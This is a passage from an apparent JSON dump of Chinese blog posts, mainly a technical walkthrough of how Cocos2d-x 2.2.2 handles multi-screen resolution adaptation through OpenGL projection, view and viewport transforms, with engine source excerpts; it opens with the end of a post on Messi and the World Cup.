href=\"http://en.wikipedia.org/wiki/Lionel_messi\"\u003e梅西\u003c/a\u003e最终没能将巴西世界杯的决赛赛场变成自己到加冕地，潘帕斯雄鹰阿根廷连续第三届世界杯被德意志战车践踏，让我这个老阿迷痛心不已。\u003c/p\u003e\n\u003cp\u003e足球是一种信仰，在足球这个信仰的世界里有神，更要有王。但现代足球趋向整体的战术体系让类似贝利、马拉多纳那样的“王”的出现日益困难。足球界、球迷们 实际上都期望新“王”的诞生，这样才能带来更多的信仰满足感和成就感。因此每当有天赋异秉的球员出现时，大家都会给予足够的关注目光。梅西就是从2005 年世青赛一直被关注到今天上午的决赛赛场的。但就是像梅西这样50年不遇的足球天才也没能最终加冕为像马拉多纳那样的“王”，世界足球的“王”依旧缺失！\u003c/p\u003e","title":"世界足球的那个“王”还会出现吗？"},{"content":"手机(智能终端)游戏绝大多数为全屏(Full Screen)显示，这样开发人员在制作游戏时势必要考虑不同手机(智能终端）屏幕大小、宽高比的不同给游戏画面带来的影响，并且要将这种影响降低到最 小，努力使用不同终端的游戏玩家拥有几乎相同的游戏画面体验。为此各种游戏引擎在屏幕适配方面都给出了自己的方案，Cocos2d-x也不例外。 在Cocos2d-x官网Wiki上特地撰写了一篇讲解Cocos2d-x多屏幕适配原理的文章“Detailed explanation of Cocos2d-x Multi-resolution adaptation”。\n这里我们以Cocos2d-x引擎（基于2.2.2版本）自带的Sample项目HelloCpp(cocos2d-x-2.2.2/samples/Cpp/HelloCpp）为例，直观的看看这个方案带来的好 处。首先，我们对HelloCpp项目做些许改造：\n– 注释掉AppDelegate.cpp中applicationDidFinishLaunching下的pEGLView-\u0026gt;setDesignResolutionSize(designResolutionSize.width, designResolutionSize.height, kResolutionNoBorder);\n– 仅使用Resource/iphone下的资源，即仅searchPath.push_back(smallResource.directory)； 这里我们有一张480×320分辨率大小PNG文件。\n– 通过改变proj.linux/main.cpp中的eglView-\u0026gt;setFrameSize(960, 640);来改变屏幕参数。（用linux工程模拟甚为方便，编译和运行占用资源小，极为迅捷，效果与Android平台是等 效的）\n我们对比一下以下三种条件下的游戏Demo显示结果：\n1) 屏幕大小480×320，未做任何屏幕适配工作，不调用pEGLView-\u0026gt;setDesignResolutionSize。\n2) 屏幕大小960×640，未做任何屏幕适配工作，不调用pEGLView-\u0026gt;setDesignResolutionSize。\n3) 屏幕大小同为960×640，按照上面Cocos2d-x屏幕适配指南Wiki中的做法，调用pEGLView-\u0026gt;setDesignResolutionSize(480, 320);\n如我们所料，我们得到三个截然不同的结果。\n第一种情况，我们所得到的游戏屏幕截图如下：\n第二种情况，我们所得到的游戏屏幕截图如下：\n第三种情况，我们所得到的游戏屏幕截图如下：\n第一种情况是最理想的情况，屏幕大小与背景图片大小相同，如我们所愿，屏幕与背景图片吻合的天衣无缝。\n第二种情况显然是模拟我们初次遇到问题的场景。屏幕Size扩大为原先的二倍，在资源没有变化的情况下，我们发现480×320大小的背景图片没 有铺满屏幕，仅仅是居中显示，并在四周露出较多”黑边“，这显然不是我们想要的。\n第三种情况，也就是我们按照官方屏幕适配方案调整后得到的结果，在资源依旧不变的情况下，我们得到了相对令人满意的结果：背景图片恰如其分的铺满 整个屏幕，比例正确。这样我们用一套资源就可以同时适配两个屏幕了：480×320、960×640。这两种终端的玩家至少不会对我们的游戏心生 抱怨之情^_^。\n当然在遇到第二种情况的时候，你也大可再准备一套新资源，比如一张960×640的背景图片。在480×320手机上，使用480×320的图 片；在960×640的手机上，使用960×640的背景图片。但这种方法的弊端至少有三：\n– 包大了：游戏的安装包Size急剧变大。\n– 活儿多了：因适配屏幕种类太多而制作大量的图片。\n– 新屏幕出来咋办：如果某个厂家突然于某天出品一款手机，其分辨率与以往市面上的所有手机均不同，那你的游戏因没有对应的资源，肯定无法很好适配该手机，导 致较差用户体验。\n为此，适配屏幕唯一的出路似乎只有按照官方推荐的方案进行了，当然适当结合有限种类的资源也许可以更好的提升游戏体验。\n如果仅仅从游戏制作角度来看，我们找到了可以适配屏幕的方法就可以了，没有必要刨根问底。甚至当有人问起来：为何 setDesignResolutionSize后，背景图片就可以充满屏幕了呢？我们可以回答：“引擎对精灵进行了缩放，就是这样”。但对于上 面的背景精灵来说，真的是我们理解的普通意义上的“精灵缩放(Scale)吗？本着“知其然，也要知其所以然”的精神，这里对引擎如何对 Sprite进行绘制进行了一番研究，我还真发现了一些与我之前理解差异较大的“深奥”原理，这里与大家一起分享一下。\n一、绘制参数初始化\n我们还是从代码开始，了解一下引擎绘制参数的初始化工作是如何做的、在哪里做的，为后续的分析做些铺垫。这里以Cocos2d-x 2.2.2 Android平台为例。关于Cocos2d-x 2.2.2 Android平台的引擎粗线条启动流程分析，可以参考《Hello，Cocos2d-x》这篇文章。看完这篇文章，你就会知道我们这次应该从Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit开 始。\n// samples/Cpp/HelloCpp/proj.android/jni/hellocpp/main.cpp\nvoid Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit(\nJNIEnv* env, jobject thiz, jint w, jint h)\n{\nif (!CCDirector::sharedDirector()-\u0026gt;getOpenGLView())\n{\nCCEGLView *view = CCEGLView::sharedOpenGLView();\nview-\u0026gt;setFrameSize(w, h);\nAppDelegate *pAppDelegate = new AppDelegate();\nCCApplication::sharedApplication()-\u0026gt;run();\n}\n… …\n}\n这里是引擎部分初始化的起点:CCDirector和CCEGLView先后完成创建与初始化。接下来我们分别看一下这两个过程，我们主要关 注与绘制参数设置相关的内容：\nbool CCDirector::init(void)\n{\nsetDefaultValues();\n… …\nm_obWinSizeInPoints = CCSizeZero;\nm_pobOpenGLView = NULL;\nm_fContentScaleFactor = 1.0f;\n… …\nreturn true;\n}\nvoid CCDirector::setDefaultValues(void)\n{\nCCConfiguration *conf =\nCCConfiguration::sharedConfiguration();\n… …\n// GL projection\nconst char *projection =\nconf-\u0026gt;getCString(\u0026ldquo;cocos2d.x.gl.projection\u0026rdquo;,\n\u0026ldquo;3d\u0026rdquo;);\nif( strcmp(projection, \u0026ldquo;3d\u0026rdquo;) == 0 )\nm_eProjection = kCCDirectorProjection3D;\n… …\n}\n由于conf中没有配置“cocos2d.x.gl.projection”，因此projection使用了 getCString传入的默认值：\u0026ldquo;3d\u0026rdquo;，m_eProjection则被赋值为kCCDirectorProjection3D。\nCCEGLView的创建更为简单：\nCCEGLView::CCEGLView()\n{\ninitExtensions();\n}\n但背后真正发挥关键作用的是其父类CCEGLViewProtocol。\nCCEGLViewProtocol::CCEGLViewProtocol() m_pDelegate(NULL)\n, m_fScaleX(1.0f)\n, m_fScaleY(1.0f)\n, m_eResolutionPolicy(kResolutionUnKnown)\n{\n} 这里我们看到了三个重要的字段：m_fScaleX、m_fScaleY以及m_eResolutionPolicy，这三个字段对于后续屏 幕适配起到至关重要的作用。\nnativeInit中的view-\u0026gt;SetFrameSize(w, h)用于设置的屏幕物理分辨率，如果你的手机是960×640分辨率的，那FrameSize就是960×640。\nvoid CCEGLViewProtocol::setFrameSize(float width,\nfloat height)\n{\nm_obDesignResolutionSize\n= m_obScreenSize\n= CCSizeMake(width, height);\n}\n初始情况下，CCEGLViewProtocol将“设计分辨率”m_obDesignResolutionSize也设置为与 FrameSize or m_obScreenSize同等大小。\n我们回到游戏逻辑层代码AppDelegate.cpp，我们知道游戏逻辑的入口在这里，最初的参数初始化是在为Director设置 GLView实例时进行的：\nbool AppDelegate::applicationDidFinishLaunching() {\n// initialize director\nCCDirector* pDirector = CCDirector::sharedDirector();\nCCEGLView* pEGLView = CCEGLView::sharedOpenGLView();\npDirector-\u0026gt;setOpenGLView(pEGLView);\nCCSize frameSize = pEGLView-\u0026gt;getFrameSize();\n… …\n}\nvoid CCDirector::setOpenGLView(CCEGLView *pobOpenGLView)\n{\nm_pobOpenGLView = pobOpenGLView;\n// set size\nm_obWinSizeInPoints =\nm_pobOpenGLView-\u0026gt;getDesignResolutionSize();\n… …\nif (m_pobOpenGLView)\n{\nsetGLDefaultValues();\n}\nCHECK_GL_ERROR_DEBUG();\n… …\n}\n}\n由于尚未调用setDesignResolutionSize，因此m_obWinSizeInPoints的值与FrameSize大小相 同。\nsetGLDefaultValues最为关键，这是我们第一次遇到该函数，该方法用于初始化一些OpenGL的参数，建立好后续 OpenGL操作时所需要的各种数据结构。\nvoid CCDirector::setGLDefaultValues(void)\n{\n… …\nsetAlphaBlending(true);\nsetDepthTest(false);\n**setProjection(**m_eProjection);\n// set other opengl default values\nglClearColor(0.0f, 0.0f, 0.0f, 1.0f);\n}\nglClearColor(0.0f, 0.0f, 0.0f, 1.0f);设置初始颜色为黑色，alpha为1.0f，即完全不透明。setProjection是实际上绘制参数设置的核心。\nvoid CCDirector::setProjection(ccDirectorProjection kProjection)\n{\nCCSize size = m_obWinSizeInPoints;\nsetViewport();\nswitch (kProjection)\n{\ncase kCCDirectorProjection3D:\n{\nfloat zeye = this-\u0026gt;getZEye();\nkmMat4 matrixPerspective, matrixLookup;\nkmGLMatrixMode(KM_GL_PROJECTION);\nkmGLLoadIdentity();\n… …\n// issue #1334\nkmMat4PerspectiveProjection( \u0026amp;matrixPerspective,\n60,\n(GLfloat)size.width/size.height,\n0.1f, zeye*2);\nkmGLMultMatrix(\u0026amp;matrixPerspective);\nkmGLMatrixMode(KM_GL_MODELVIEW);\nkmGLLoadIdentity();\nkmVec3 eye, center, up;\nkmVec3Fill( \u0026amp;eye, size.width/2,\nsize.height/2, zeye );\nkmVec3Fill( \u0026amp;center, size.width/2,\nsize.height/2, 0.0f );\nkmVec3Fill( \u0026amp;up, 0.0f, 1.0f, 0.0f);\nkmMat4LookAt(\u0026amp;matrixLookup, \u0026amp;eye,\n\u0026amp;center, \u0026amp;up);\nkmGLMultMatrix(\u0026amp;matrixLookup);\n}\nbreak;\n… …\n}\nm_eProjection = kProjection;\nccSetProjectionMatrixDirty();\n}\n由于前面m_eProjection已经被赋值为kCCDirectorProjection3D，因此我们只分析 kCCDirectorProjection3D这个case分支。该函数大致进行设置的顺序是：设置视口变换（ViewPort)、设置投影变换矩阵和 设置模型视图变换矩阵。我们分别来看：\n* 设置视口(ViewPort)\nvoid CCDirector::setViewport()\n{\nif (m_pobOpenGLView)\n{\nm_pobOpenGLView-\u0026gt;setViewPortInPoints(0, 0,\nm_obWinSizeInPoints.width,\nm_obWinSizeInPoints.height);\n}\n}\nvoid CCEGLViewProtocol::setViewPortInPoints(float x ,\nfloat y , float w , float h)\n{\nglViewport((GLint)(x * m_fScaleX\n+ m_obViewPortRect.origin.x),\n(GLint)(y * m_fScaleY\n+ m_obViewPortRect.origin.y),\n(GLsizei)(w * m_fScaleX),\n(GLsizei)(h * m_fScaleY));\n}\n这是我们遇到的第一个OpenGL概念：设置视口变换，关于视口变换究竟起到什么作用，后续会细说。\n* 设置“投影变换”矩阵参数\nkmMat4PerspectiveProjection( \u0026amp;matrixPerspective, 60,\n(GLfloat)size.width/size.height, 0.1f, zeye*2);\nkmGLMultMatrix(\u0026amp;matrixPerspective);\n* 设置“模型视图变换”矩阵参数\nkmVec3 eye, center, up;\nkmVec3Fill( \u0026amp;eye, size.width/2,\nsize.height/2, zeye );\nkmVec3Fill( \u0026amp;center, size.width/2,\nsize.height/2, 0.0f );\nkmVec3Fill( \u0026amp;up, 0.0f, 1.0f, 0.0f);\nkmMat4LookAt(\u0026amp;matrixLookup, \u0026amp;eye,\n\u0026amp;center, \u0026amp;up);\n至此，引擎的绘制参数初始化设置就OK了，在你调用setDesignResolutionSize之前，这些参数不会被改变。\n二、kazmath\nCocos2d-x引擎最底层采用OpenGL ES 2.0进行图形绘制，这样要想搞清楚前面的问题缘由，对OpenGL那一套技术体系至少要有一些直观认识才行。在这之前，我们还要先了解一些 Cocos2d-x深度使用的kazmath库。根据《Cocos2d-x高级开发教程》书 中说: “因为在Cocos2d-x 2.0采用的OpenGL ES 2.0中，而那些OpenGL ES 1.0函数已经不可使用了。但OpenGL ES 2.0已经放弃了固定的渲染流水线，取而代之的是自定义的各种着色器，在这种情况下变换操作通常需要由开发者来维护。所幸引擎也引入了一套第三方库 Kazmath，它使得我们几乎可以按照原来OpenGL ES 1.0所采用的方式进行开发”。\n至此，我们大致知道了Kazmath库是用来辅助我们按照OpenGL ES 1.0的方式管理变换矩阵以及做变换操作的，接下来我们一起来看看kazmath库的结构吧：\n//cocos2d-x-2.2.2/cocos2dx/kazmath/src/GL/matrix.c\nkm_mat4_stack modelview_matrix_stack;\nkm_mat4_stack projection_matrix_stack;\nkm_mat4_stack texture_matrix_stack;\nkm_mat4_stack* current_stack = NULL;\nstatic unsigned char initialized = 0;\n以上是Cocos2d-x整个引擎生命周期内会用到的与opengl变换矩阵相关的一些全局变量。\nkazmath声明了三个变换矩阵的栈，modelview_matrix_stack（模型视图矩阵栈）、 projection_matrix_stack（投影矩阵栈）以及texture_matrix_stack（纹理矩阵栈）。不过Cocos2d-x引 擎只用到了前两个变化矩阵栈。current_stack指向当前所使用的那个变换矩阵栈。\n这些栈的初始化在lazyInitialize中：\nvoid lazyInitialize()\n{\nif (!initialized) {\nkmMat4 identity; //Temporary identity matrix\n//Initialize all 3 stacks\n//modelview_matrix_stack =\n(km_mat4_stack*) malloc(sizeof(km_mat4_stack));\nkm_mat4_stack_initialize(\u0026amp;modelview_matrix_stack);\n//projection_matrix_stack =\n(km_mat4_stack*) malloc(sizeof(km_mat4_stack));\nkm_mat4_stack_initialize(\u0026amp;projection_matrix_stack);\n//texture_matrix_stack =\n(km_mat4_stack*) malloc(sizeof(km_mat4_stack));\nkm_mat4_stack_initialize(\u0026amp;texture_matrix_stack);\ncurrent_stack = \u0026amp;modelview_matrix_stack;\ninitialized = 1;\nkmMat4Identity(\u0026amp;identity);\n//Make sure that each stack has the identity matrix\nkm_mat4_stack_push(\u0026amp;modelview_matrix_stack, \u0026amp;identity);\nkm_mat4_stack_push(\u0026amp;projection_matrix_stack, \u0026amp;identity);\nkm_mat4_stack_push(\u0026amp;texture_matrix_stack, \u0026amp;identity);\n}\n}\nkmMat4Identify用于初始化“单位矩阵(Indentify Matrix)”，所谓\u0026quot;单位矩阵\u0026quot;，指的是对脚线上元素都为1的矩阵。从kmMat4Identify的实现，我们也可以看出这一点：\nkmMat4* const kmMat4Identity(kmMat4* pOut)\n{\nmemset(pOut-\u0026gt;mat, 0, sizeof(float) * 16);\npOut-\u0026gt;mat[0] = pOut-\u0026gt;mat[5]\n= pOut-\u0026gt;mat[10]\n= pOut-\u0026gt;mat[15] = 1.0f;\nreturn pOut;\n}\n最后，lazyInitialize函数将单位矩阵分别圧入（km_mat4_stack_push）不同的matrix stack。\n再回顾一下CCDirector::setProjection，该函数通过kazmath先后设置了 projection_matrix_stack和modelview_matrix_stack的top元素。\nkmGLMatrixMode(KM_GL_PROJECTION);\nkmGLLoadIdentity();\nkmMat4PerspectiveProjection( \u0026amp;matrixPerspective, 60,\n(GLfloat)size.width/size.height, 0.1f, zeye*2);\nkmGLMultMatrix(\u0026amp;matrixPerspective);\nkmGLMatrixMode(KM_GL_MODELVIEW);\nkmGLLoadIdentity();\nkmVec3 eye, center, up;\nkmVec3Fill( \u0026amp;eye, size.width/2,\nsize.height/2, zeye );\nkmVec3Fill( \u0026amp;center, size.width/2,\nsize.height/2, 0.0f );\nkmVec3Fill( \u0026amp;up, 0.0f, 1.0f, 0.0f);\nkmMat4LookAt(\u0026amp;matrixLookup, \u0026amp;eye,\n\u0026amp;center, \u0026amp;up);\nkmGLMultMatrix(\u0026amp;matrixLookup);\n三、精灵绘制\n由《Hello，Cocos2d-x》一文我们知道，一旦引擎初始化完毕，就开始了每帧图像的绘制工作，Render Thread在一个“死循环”中反复调用CCDirector的drawScene方法 （CCDisplayLinkDirector::mainLoop中调用了drawScene）：\nvoid CCDirector::drawScene(void)\n{\n… …\nglClear(GL_COLOR_BUFFER_BIT\n| GL_DEPTH_BUFFER_BIT);\n… …\nkmGLPushMatrix();\n// draw the scene\nif (m_pRunningScene)\n{\nm_pRunningScene-\u0026gt;visit();\n}\n… …\nkmGLPopMatrix();\n… …\n}\nCocos2d-x采用“渲染树”的方式进行绘制，即先从场景(Scene)的顶层根节点开始，深度优先的递归绘制Child Node。而整个绘制的顶层节点是CCScene。绘制从m_pRunningScene-\u0026gt;visit()真正开始。visit是Scene、 Layer、Sprite的共同父类CCNode实现的方法：\nvoid CCNode::visit()\n{\nif (!m_bVisible)\n{\nreturn;\n}\nkmGLPushMatrix();\n… …\nthis-\u0026gt;transform();\n… …\nif(m_pChildren \u0026amp;\u0026amp;\nm_pChildren-\u0026gt;count() \u0026gt; 0)\n{\nsortAllChildren();\n// draw children zOrder \u0026lt; 0\n… ..\n// self draw\nthis-\u0026gt;draw();\n// draw other children nodes\n… …\n} else {\nthis-\u0026gt;draw();\n}\n… …\nkmGLPopMatrix();\n}\nVisit大致做了这么几件事：\n– 向当前OpenGL变换矩阵栈Push元素\n– 用当前OpenGL变换矩阵栈栈顶元素的变换参数做节点变换\n– 递归绘制zOrder \u0026lt; 0 的子节点\n– 绘制自己\n– 递归绘制其他子节点\n– 从当前OpenGL变换矩阵栈Pop元素\n如果你想知道为什么父节点缩放(Scale)、旋转(Rotate)、扭曲(Skew)后，子节点也会跟着父节点同样缩放(Scale)、旋 转(Rotate)、扭曲？其原理就在这里的transform方法中：\nvoid CCNode::transform()\n{\nkmMat4 transfrom4x4;\n// Convert 3×3 into 4×4 matrix\nCCAffineTransform tmpAffine\n= this-\u0026gt;nodeToParentTransform();\nCGAffineToGL(\u0026amp;tmpAffine,\ntransfrom4x4.mat);\n// Update Z vertex manually\ntransfrom4x4.mat[14] = m_fVertexZ;\nkmGLMultMatrix( \u0026amp;transfrom4x4 );\n… …\n}\n在进入tranform以前，Cocos2d-x做了啥？对了，kmGLPushMatrix()：\nvoid kmGLPushMatrix(void)\n{\nkmMat4 top;\nlazyInitialize();\n//Duplicate the top of the stack (i.e the current matrix)\nkmMat4Assign(\u0026amp;top, current_stack-\u0026gt;top);\nkm_mat4_stack_push(current_stack, \u0026amp;top);\n}\n在引擎初始化后，我们的current_stack是模型视图矩阵栈modelview_matrix_stack。所有设置的初始参数都保 存在该栈的栈顶元素中。在每次Node绘制前，Node都会创建自己的变换矩阵，但这个矩阵不是凭空创造的，从kmGLPushMatrix 可以看出，在当前Node将新创建的矩阵元素圧栈前，它复制了原栈顶元素，也就携带有父节点所有的初始变换信息，也就是说在 km_mat4_stack_push后，栈顶放置的元素其实是原栈顶元素的复制品，而后续所有操作都是基于这个复制品的。这样一来，如果父 节点做了缩放或旋转或扭曲，那这些信息都会作为初始信息作为子节点变换的基础，后续子节点自身的变换参数也都是在这个基础上做出的，最终的矩 阵是transform方法中的kmGLMultMatrix后得出的。真正的矩阵变换计算都在nodeToParentTransform 中，不过要想看懂这个函数，需要对OpenGL有更深入的了解才行，这里略过^_^。\n真正绘制Node的方法是CCNode::draw的override方法。CCNode::draw是一个空函数，各个子类 override该方法进行各自的绘制。以CCSprite::draw为例：\nvoid CCSprite::draw(void)\n{\nCC_NODE_DRAW_SETUP();\nccGLBlendFunc( m_sBlendFunc.src, m_sBlendFunc.dst );\nccGLBindTexture2D( m_pobTexture-\u0026gt;getName() );\nccGLEnableVertexAttribs( kCCVertexAttribFlag_PosColorTex );\n#define kQuadSize sizeof(m_sQuad.bl)\nlong offset = (long)\u0026amp;m_sQuad;\n// vertex\nint diff = offsetof( ccV3F_C4B_T2F, vertices);\nglVertexAttribPointer(kCCVertexAttrib_Position, 3,\nGL_FLOAT, GL_FALSE, kQuadSize, (void*) (offset + diff));\n// texCoods\ndiff = offsetof( ccV3F_C4B_T2F, texCoords);\nglVertexAttribPointer(kCCVertexAttrib_TexCoords, 2,\nGL_FLOAT, GL_FALSE, kQuadSize, (void*)(offset + diff));\n// color\ndiff = offsetof( ccV3F_C4B_T2F, colors);\nglVertexAttribPointer(kCCVertexAttrib_Color, 4,\nGL_UNSIGNED_BYTE, GL_TRUE,\nkQuadSize, (void*)(offset + diff));\nglDrawArrays(GL_TRIANGLE_STRIP, 0, 4);\n… …\n}\n这里的draw是一个典型的OpenGL绘制工序。CC_NODE_DRAW_SETUP()将之前的经过若干准备而得到的最终各类变换矩阵 整合并传给OpenGL：\n/** @def CC_NODE_DRAW_SETUP\nHelpful macro that setups the GL server state,\nthe correct GL program and sets the Model View\nProjection matrix\n@since v2.0\n*/\n#define CC_NODE_DRAW_SETUP() \\\ndo { \\\nccGLEnable(m_eGLServerState); \\\nCCAssert(getShaderProgram(), \u0026ldquo;No shader program set for this node\u0026rdquo;); \\\n{ \\\ngetShaderProgram()-\u0026gt;use(); \\\ngetShaderProgram()-\u0026gt;setUniformsForBuiltins(); \\\n} \\\n} while(0)\nvoid CCGLProgram::setUniformsForBuiltins()\n{\nkmMat4 matrixP;\nkmMat4 matrixMV;\nkmMat4 matrixMVP;\nkmGLGetMatrix(KM_GL_PROJECTION, \u0026amp;matrixP);\nkmGLGetMatrix(KM_GL_MODELVIEW, \u0026amp;matrixMV);\nkmMat4Multiply(\u0026amp;matrixMVP, \u0026amp;matrixP, \u0026amp;matrixMV);\nsetUniformLocationWithMatrix4fv(m_uUniforms[kCCUniformPMatrix],\nmatrixP.mat, 1);\nsetUniformLocationWithMatrix4fv(m_uUniforms[kCCUniformMVMatrix],\nmatrixMV.mat, 1);\nsetUniformLocationWithMatrix4fv(m_uUniforms[kCCUniformMVPMatrix],\nmatrixMVP.mat, 1);\n… …\n}\n经过计算顶点、绑定纹理等步骤后，最终由glDrawArrays完成Node绘制。\n四、m_fScaleX和m_fScaleY都是1.0，背景精灵为何被放大？\n根据上面的分析，我们了解到“子节点将跟随父节点的缩放而缩放”。据此，我们来分析一下前面提到的屏幕适配例子中的第三种情况，即屏幕大小为 960×640，按照Cocos2d-x屏幕适配指南Wiki中的做法，调用 pEGLView-\u0026gt;setDesignResolutionSize(480, 320)。在该情况中，我们得到的结果是480×320大小的背景图片充满了大小为960×640的屏幕窗口，这给我们的直观印象就是背景图片被放大了一 倍。下面我们就尝试用上面的分析来解释一下这个现象。\n在这个例子中，渲染树结构如下：\nCCScene\n– CCLayer\n– CCSprite – 背景图精灵\n按照之前的理论，背景图精灵自身或父类应该有缩放的设置，比如m_fScaleX = 2.0之类的设置，于是我在代码中输出了Scene、Layer以及Sprite的m_fScaleX和m_fScaleY值。但出乎预料的是，这些 Node子类的两个轴向缩放值都保持了默认值，即1.0f。在代码里翻了半天，也的确没有找到改写Scene、Layer或Sprite Scale的地方。又一想：代码中调用了setDesignResolutionSize，这样CCEGLView的m_fScaleX = m_fScaleY = 2.0f，难道是CCEGLView的m_fScale传递给了CCScene等Node子类，但事实总是残酷的，代表这一联系的代码也始终未被我所找 到，看来继续纠结m_fScale的值设置是无法搞清楚真正原因，应该换换思路了。这里背景图的放大不应该是Node scale值设置的问题，也就是说关键环节不应该在绘制流程，而是在之前的OpenGL变换矩阵参数设置，看来不再深入学习点OpenGL知识，这个问题 就很难搞定了，于是开始翻看《OpenGL编程指南7th》（号称OpenGL红宝书）和《OpenGL超级宝典》（号称OpenGL蓝宝 书）。虽然我的阅读是粗粒度的，但还是收获到了一些答案。\n五、OpenGL基础\nOpenGL是帮助我们将三维世界的物体转换到二维屏幕上的一组接口。在新技术尚未出现之前，我们的屏幕永远是二维的，即便是现在的3D电影 也是双眼视角二维图像叠加的结果。我们知道“将大象装进冰箱总共分三 步”，将一个三维模型转换到二维屏幕上，OpenGL也规定了相对流水线般的步骤。\nOpenGL三维图形的显示流程\n三维图形显示流程中，涉及到OpenGL的一个重要操作，那就是“变换(Transformation)”，主要的变换包括模型视图变换 （model-view transformation）、投影变换(projection transformation)以及视口变换(ViewPort transformation)。我们经常用相机模拟来对比OpenGL解决这一问题的过程以及相关概念。\n回顾一下我们自己用相机拍照的步骤吧。\n第零步，选景。景就是所谓的三维模型或三维物体，或简称模型(Model)，就是我们要显示到屏幕上的物体；\n第一步，确定相机位置。让相机以一定的距离、高度、角度对准模型。在这里，相机的位置变换，对应OpenGL的“视图变换或叫视点变换 (View Transformation)”。在这一步里（对应上面图中的第二步），我们还可以调整三维物体的相对位置、角度与相机的距离，这就是模型变换 （Modeling Transformation），两种变换达成的效果是相同的，因此总称模型视图变换(Model-View Transformation)。\n第二步，选镜头，并调焦。确定图像投影在胶片上的范围以及景深等。这一步叫投影变换（Projection Transformation）。\n第三步，冲洗照片。拍摄好的图像放在底片上，但我们需要选择冲洗后最终是放在6寸相纸还是20寸相纸上，显然在不同大小相纸上，图像的显示效 果不同（比如大小）。这个过程叫视口变换（Viewport Transformation）。\n三维空间的物体都是用三维坐标描述的，谈到坐标就离不开坐标系，OpenGL中的坐标系就有多种，我们最常用的就是世界坐标系。\n世界坐标系是以屏幕中心为原点(0, 0, 0)，你面对屏幕，你的右边是x正轴，上面是y正轴，屏幕指向你的为z正轴。无论如何变换，世界坐标系都不动。我们在Cocos2d-x中设置 初始参数时，参数的单位多为世界坐标系中的单位。\n视点变换时会涉及到视点坐标系，但这个变换由opengl接口来负责，我们不用过多关心。\n绘图坐标系（局部坐标系），当前绘图坐标系是绘制物体时的坐标系。程序刚初始化时，世界坐标系和当前绘图坐标系是重合的，当用 glTranslatef()等变换函数做移动和旋转时，都是改变的当前绘图坐标系，改变的位置都是当前绘图坐标系相对自己的x,y,z轴所做的 改变，改变以后，再绘图时，都是在当前绘图坐标系进行绘图，所有的函数参数也都是相对当前绘图坐标系来讲的。\n屏幕坐标系，即终端屏幕上的坐标系，与世界坐标系有不同，它以屏幕左上角的点为原点，向右是x正轴，向下是y正轴，屏幕指向你的为z正轴。\n注意视口(Viewport)的设置是以实际屏幕坐标定义了窗口中的区域，长度宽度都是以实际像素为单位。当然引擎在精灵绘图时用 的是绘图坐标系，我们理解原点在左下角即可。\n六、Cocos2d-x各种变换矩阵的初始参数设置\n前面说过，Cocos2d-x在CCDirector::setProjection中完成了对变换矩阵的初始参数设置，我们逐一来看看这些设置对模型映射后的二维图像有何影响，这也是理解篇头几个问题的关键环节。\n* 投影变换\n前面提到过，投影变换相当于调节相机镜头。OpenGL中提供了两种投影方式，一种是正射投影，另一种是透视投影。Cocos2d-x使用的是透视投影 （Perspective Projection)。透视投影是实际人们观察事物的真实反馈，即离视点近的物体大，离视点远的物体小，远到极点即为消失，成为灭点。Cocos2d- x使用的是kmMat4PerspectiveProjection，对应OpenGL中的gluPerspective，该方法创建一个对称透视视景体 (View Volumn)，见下图：\ngluPerspective的函数原型如下：void gluPerspective(GLdouble fovy,GLdouble aspect,GLdouble zNear, GLdouble zFar);\n参数fovy定义视野在X-Z平面的角度，范围是[0.0, 180.0]，也就是上图中的“视角”；\n参数aspect是投影平面宽度与高度的比率；\n参数zNear和Far分别是近远裁剪面沿Z负轴到视点的距离，它们总为正值。\nCocos2d-x中是这么设置投影变换矩阵的：\nfloat zeye = this-\u0026gt;getZEye();\nkmMat4PerspectiveProjection( \u0026amp;matrixPerspective, 60, (GLfloat)size.width/size.height, 0.1f, zeye*2);\nfloat CCDirector::getZEye(void)\n{\nreturn (m_obWinSizeInPoints.height / 1.1566f);\n}\n从参数上来看，\n视角 = 60度\n宽高比 = 设计分辨率的宽高比，\n近平面 = 距离视点0.1f，几乎与视点重合\n远平面 = 距离视点zeye * 2距离。\n视点位置 = 设计分辨率.height / 1.1566f\n投影是用来对模型进行截取的，只有在投影变换所建立的平头截体（Frustum，投影的近、远两个截面以及其他四个面构成的立体体）内的模型部分才会被最终映射和显示。我们用下面的图来直观了解一下各个参数在三维空间的概念吧。\n显然引擎如此设置投影矩阵的参数是有考虑的：\n首先就是投影平头截体的宽高比 = 设计分辨率的宽高比，这样设置使得一切符合设计分辨率宽高比的模型都可以被理想截取。\n其次，视角60度，zEye的在Z轴正方向距离世界原点的距离 = (m_obWinSizeInPoints.height / 1.1566f),这里的1.1566f是怎么来的呢？我们沿着X轴负方向向zy平面投影，得到下图：\n看这个图，让我想起了初中几何，通过60度的视角，我们可以推断由eye、XZ截断上平面与Y轴的交点、XZ截断下平面与Y轴的交点组成一个等边三角形， 现在我们已知在Zy平面投影中视点与原点的距离为m_obWinSizeInPoints.height / 1.1566f, 我们还知道夹角是60度，我们求一下投影在(z=0，XY平面)的截面高度h。\ncos30 = (m_obWinSizeInPoints.height / 1.1566f)/ h\nh = (m_obWinSizeInPoints.height / 1.1566f)/cos30 = m_obWinSizeInPoints.height;\n我们计算出来的结果是 h = m_obWinSizeInPoints.height = 设计分辨率中的高度分量。这意味这什么呢？Cocos2d-x是2D游戏渲染引擎，针对该引擎的模型的z坐标都是0，因此模型实际上就在xy平面内，也就 是说eye与原点的距离恰好就是eye与模型的距离，而模型可显示区域的最大高度也就是h，即m_obWinSizeInPoints.height。这 个结论会在后续问题分析时发挥作用。\n注意虽然这里知道eye在Z轴正方向距离世界原点的距离，但eye的(x, y)坐标在投影设置后依旧无法确认，我们需要在设置模型视图变换时得到eye的(x, y)坐标。\n* 视图变换\nkmGLMatrixMode(KM_GL_MODELVIEW);\nkmGLLoadIdentity();\nkmVec3 eye, center, up;\nkmVec3Fill( \u0026amp;eye, size.width/2, size.height/2, zeye );\nkmVec3Fill( \u0026amp;center, size.width/2, size.height/2, 0.0f );\nkmVec3Fill( \u0026amp;up, 0.0f, 1.0f, 0.0f);\nkmMat4LookAt(\u0026amp;matrixLookup, \u0026amp;eye, \u0026amp;center, \u0026amp;up);\nkmGLMultMatrix(\u0026amp;matrixLookup);\nOpenGL原生的视图变换参数设置方法是gluLookAt，在kazmath中对应的方法为kmMat4LookAt。gluLookAt的函数原型是：\nvoid gluLookAt(GLdouble eyex, GLdouble exey, GLdouble eyez,\nGLdouble centrex, GLdouble centrey, GLdouble centrez,\nGLdouble upx, GLdouble upy, GLdouble 